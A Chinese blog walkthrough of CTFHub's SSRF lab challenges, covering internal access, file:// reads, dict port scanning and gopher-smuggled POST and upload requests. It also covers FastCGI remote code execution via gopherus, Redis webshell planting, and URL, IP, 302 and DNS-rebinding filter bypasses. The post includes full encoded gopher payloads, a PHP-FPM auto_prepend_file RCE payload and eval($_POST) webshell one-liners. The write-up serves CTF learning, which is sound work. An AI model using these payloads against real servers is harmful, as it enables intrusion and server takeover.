【Web】ctfhub基础知识之SSRF


Server-Side Request Forgery。攻击者构造形成由服务端发起请求的一个漏洞,攻击的目标是从外网无法访问的内部系统。出现ssrf漏洞的原因大都是目标服务端提供了从其他服务器应用获取数据的功能,但没有配置好限制条件,比如对目标地址过滤,这样黑客可以另外伪造一个服务端,然后操作target从该服务端(指定url地址)获取网页文本内容、加载图片、下载恶意文件等等。常见可能会产生的地方比如通过URL分享文章,翻译,图片文章收藏或者google语法加上关键字也能找到ssrf(网址url里面还有一个url)等等。简单来说ssrf就是利用了目标服务器从自身发起请求的功能点,然后黑客可以控制地址的参数的特性

内网访问

尝试访问位于127.0.0.1的flag.php吧

简单了解ssrf,这题参数就是

/?url=127.0.0.1/flag.php

在这里插入图片描述

伪协议读取文件

尝试去读取一下Web目录下的flag.php吧

  1. 这题用伪协议file://+绝对路径
    然后linux的web目录一般是 /var/www/html这个结构
    所以尝试访问这个路径
    在这里插入图片描述
    访问到了,出现这个,证明是有这个文件的,但是出现问号让我有点懵。

大佬说:检查一下网页源代码
在这里插入图片描述
好好好

端口扫描

来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦

这题给提示说了是端口扫描,用的伪协议应该是http://,但是怎么用呢?
在这里插入图片描述
没事了,原来dict://也可以,用dict来扫吧,怎么用呢?

  1. 答案:抓包,爆破,用sniper,设置参数和结果如下
    在这里插入图片描述
    8158端口数据包长度很特别,说明flag很可能在此

  2. 打开看看,提示bad request,报了apache的错误,暴露了版本等信息,http访问一下
    在这里插入图片描述
    拿到了flag

POST请求

这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

我的思路是用gopher协议,post一个网址,但如何去实现很模糊,决定还是瞄一眼大佬。

OK,大佬也赞成用gopher协议发送post请求,那么请求什么呢?网址吗?试试127.0.0.1,失败,不管前面有没有加一个无用字符

再往下看,震惊
大佬试出来输入http://127.0.0.1/flag.php有个输入框,并检查了下源代码
在这里插入图片描述
在这里插入图片描述
用的post方法,并且有个key,这里先按表不说。

试试把key输入进去。
在这里插入图片描述
没啥东西,那抓包看看吧

  1. 瞄了一眼大佬,把Host参数改成了127.0.0.1
    在这里插入图片描述

az?让我找到了什么,试试
在这里插入图片描述
好吧这是彩蛋,不是这题的flag
我把它留在这里,看看是哪一题的彩蛋ctfhub{b644d27a30b450b2f170c4f19ef1dd85fb1efc5d}

放包,又回到了just view127 的界面。这个过程触发了302重定向。
尝试输入gopher

gopher://127.0.0.1/_flag.php

在这里插入图片描述
证明是有这个文件的

  1. 大佬思路
    看来这种方法行不通,此时想到了gopher伪协议(curl支持gopher),发送GET或POST请求(需要配合http协议二次url编码上传);本题要用gopher发送POST请求,gopher的格式是gopher://<host>:<port>/<gopher-path>_后接tcp流,本题默认是gopher://127.0.0.1:80/_后接post请求
    那么post什么请求呢?跟key有关吗?
    post请求/flag.php,key在这里用到了,就是打开文件的钥匙,所以抓包,记得url编码

大佬完整的gopher请求:
在这里插入图片描述
构造POST包,这是POST包最基本的要求

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=f7c7e459e5f7a51068e07ff5adac5c57

在这里插入图片描述

url二次编码后:
在这里插入图片描述

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=f7c7e459e5f7a51068e07ff5adac5c57%250d%250a

直接丢到url栏
在这里插入图片描述
终于出来了

上传文件(unsolved)

这次需要上传一个文件到flag.php了.祝你好运

开题之前:
我想了下,这一部分叫上传文件,我想到之前做过的文件上传漏洞,都是直接拖一个文件上去,这次文件上传出现在ssrf,我有点怀疑是在gopher数据包构建一个src=xxx.txt之类的,不管了先开吧。

开题:
大佬说,用file协议,我一开始没想到。
anyway,试试,还是在那个web目录,/var/www/html
坑:一天天的,老喜欢在url后面先上来给你加一个_,搞得我以为填错了

在这里插入图片描述
看源代码
在这里插入图片描述
意思还是说要从127.0.0.1随便上传一个文件,就能拿到flag,从别的地址上传还是会弹出像just view 的页面,所以不关文件内容的事情,我们要让服务端自己发请求,这就达到伪造本机地址的目的。

  1. 访问url=127.0.0.1/flag.php,弹出跟刚才差不多的页面
    在这里插入图片描述
    发现没有提交按钮,没关系,f12伪造一个
    在这里插入图片描述
    试试上传一个正常文件
    提示了just view

  2. 抓包改host为127.0.0.1还是不行,还是走gopher协议吧
    提交上传,抓包
    在这里插入图片描述
    这一大段拿出来,放到编码器上,只不过要进行三次编码
    在这里插入图片描述
    效果如下:
    在这里插入图片描述

POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250AHost%25253A%252520challenge-67c337ec377fc6c4.sandbox.ctfhub.com%25253A10800%25250AUser-Agent%25253A%252520Mozilla%25252F5.0%252520(Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64%25253B%252520rv%25253A120.0)%252520Gecko%25252F20100101%252520Firefox%25252F120.0%25250AAccept%25253A%252520text%25252Fhtml%25252Capplication%25252Fxhtml%25252Bxml%25252Capplication%25252Fxml%25253Bq%25253D0.9%25252Cimage%25252Favif%25252Cimage%25252Fwebp%25252C*%25252F*%25253Bq%25253D0.8%25250AAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.8%25252Czh-TW%25253Bq%25253D0.7%25252Czh-HK%25253Bq%25253D0.5%25252Cen-US%25253Bq%25253D0.3%25252Cen%25253Bq%25253D0.2%25250AAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25250AContent-Type%25253A%252520multipart%25252Fform-data%25253B%252520boundary%25253D---------------------------359721632519187211681547803791%25250AContent-Length%25253A%252520352%25250AOrigin%25253A%252520http%25253A%25252F%25252Fchallenge-67c337ec377fc6c4.sandbox.ctfhub.com%25253A10800%25250AConnection%25253A%252520close%25250AReferer%25253A%252520http%25253A%25252F%25252Fchallenge-67c337ec377fc6c4.sandbox.ctfhub.com%25253A10800%25252F%25253Furl%25253D127.0.0.1%25252Fflag.php%25250AUpgrade-Insecure-Requests%25253A%2525201%25250A%25250A-----------------------------359721632519187211681547803791%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%252522%252522%25250AContent-Type%25253A%252520application%25252Foctet-stream%25250A%25250A%25250A-----------------------------359721632519187211681547803791%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522sssubmit%252522%25250A%25250A%2525E6%25258F%252590%2525E4%2525BA%2525A4%2525E6%25259F%2525A5%2525E8%2525AF%2525A2%25250A-----------------------------359721632519187211681547803791--%25250A
  1. 刷新页面,抓包。这一次url=gopher://127.0.0.1:80/_ + 上面编码后的数据包

知道了它的原理,只不过编码工具不太行,先放一放.

更新(20240104 solved)

?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_+......

在这里插入图片描述

FastCGI协议

FastCGI的文章在此
类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件

FastCGI协议结构图示例:
在这里插入图片描述
用任意代码执行的方法,能成功的原因:
PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件

假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include

本题fastCGI利用步骤如下:

1.借助gopherus,构造从127.0.0.1访问payload,访问目录下的index.php, 别问我怎么知道在/var/www/html下有一个index.php文件;然后输入index.php目录,运行一下ls

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php
ls

构造结果如下:
在这里插入图片描述
把这一大段拉出来,准备二次编码

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

2.写一个python脚本,把上述payload进行二次编码
脚本如下:

import urllib.parse
 
payload = "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"

tmp = urllib.parse.quote(payload)
print(tmp)

然后把二次编码后的结果拿出来

python 11.py > 11.txt
cat 11.txt

3.把该结果放到url栏,看看会发现什么
在这里插入图片描述

  1. 用上述相同的方法读取根目录,这次的RCE远程执行命令为ls /,查看html的上级目录,看到flag
python2 gopherus.py –exploit fastcgi
/var/www/html/index.php
ls /

在这里插入图片描述

  1. 查看flag
python2 gopherus.py –exploit fastcgi
/var/www/html/index.php
cat flag_798024d9ac9e0e13430f19068a677206

在这里插入图片描述

方法2:上传webshell+蚁剑连接 ----(其实是用echo本地写入)

方法一虽然也能拿到flag,但是非常繁琐,每远程代码执行RCE一条命令,都要运行gopherus脚本=》二次url编码=》将payload放入GET请求,而且如果不知道flag的真实位置,不知道要执行多少条指令才能找到。于是我们就想到,干脆上传个webshell,然后用蚁剑连接,直接拿下这台服务器,就方便找flag了。同样也是利用gopherus脚本上传webshell,这里不多提了

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php
echo "<?php eval(\$_POST[123]);?>" >1.php

Redis协议

这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!
这个题思路和上个题基本一致,只不过攻击的目标改为了Redis,思路也是上传个webshell然后蚁剑连一下,在目录中找flag

Redis是一个流行的开源内存数据管理系统,默认端口为6379。客户端和Redis服务器通过这个端口进行通信,客户端连接到Redis服务器后,对其中的数据进行读写等操作。因此,这个端口也是攻击者的常见攻击目标

  1. 还是用gopherus
python2 gopherus.py –exploit redis
PHPShell
 
<?php eval($_POST["aaa"])?>

别忘记url编码
在这里插入图片描述
提示超时,但不影响

  1. antsword连接
    在这里插入图片描述
    怎么看都行了
    在这里插入图片描述

URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
利用@如http://notfound.ctfhub.com@www.bbb.com, php会识别www.bbb.com

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

别问我为什么知道有个flag.php存放在根目录下,我也不知道

数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
进制转换

?url = 0x7f.0.0.1/flag.php

302跳转 Bypass

SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
尝试正常输入127.0.0.1/flag.php,发现被ban了
在这里插入图片描述

抓包,看看怎么回事,好吧抓包也没发现什么

试试https协议—?url=https://127.0.0.1/flag.php,我甚至用了句号,也不太行

他们用localhost就可以
在这里插入图片描述
或者短链接也行,下次试试

DNS重绑定 Bypass

DNS TTL

生存时间(Time To Live)”- 简单的说它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快。
当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。
常见的设置TTL值的场景:
1.增大TTL值,以节约域名解析时间
2.减小TTL值,减少更新域名记录时的不可访问时间

DNS Rebinding

在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。
而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。

黑客攻击:

攻击者控制恶意的DNS服务器来回复域的查询,如rebind.network;
攻击者通过一些方式诱导受害者加载http://rebind.network。
用户打开链接,浏览器就会发出DNS请求查找rebind.network的IP地址。
恶意DNS服务器收到受害者的请求,并使用真实IP地址进行响应,并将TTL值设置为1秒,让受害者的机器缓存很快失效。
从http://rebind.network加载的网页包含恶意的js代码,构造恶意的请求到http://rebind.network/index,而受害者的浏览器便在执行恶意请求。
一开始的恶意请求当然是发到了攻击者的服务器上,但是随着TTL时间结束,攻击者就可以让http://rebind.network绑定到别的IP,如果能捕获受害者的一些放在内网的应用IP地址,就可以针对这个内网应用构造出对应的恶意请求,然后浏览器执行的恶意请求就发送到了内网应用,达到了攻击的效果。

本题思路

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击,利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:

1、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

2、对于获得的IP进行判断,发现为非黑名单IP,则通过验证

3、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址

4、由于已经绕过验证,所以服务器端返回访问内网资源的结果

在这里插入图片描述

https://lock.cmpxchg8b.com/rebinder.html

好了,知道了原理,所以我采用十六进制去访问flag
在这里插入图片描述

  • 20
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值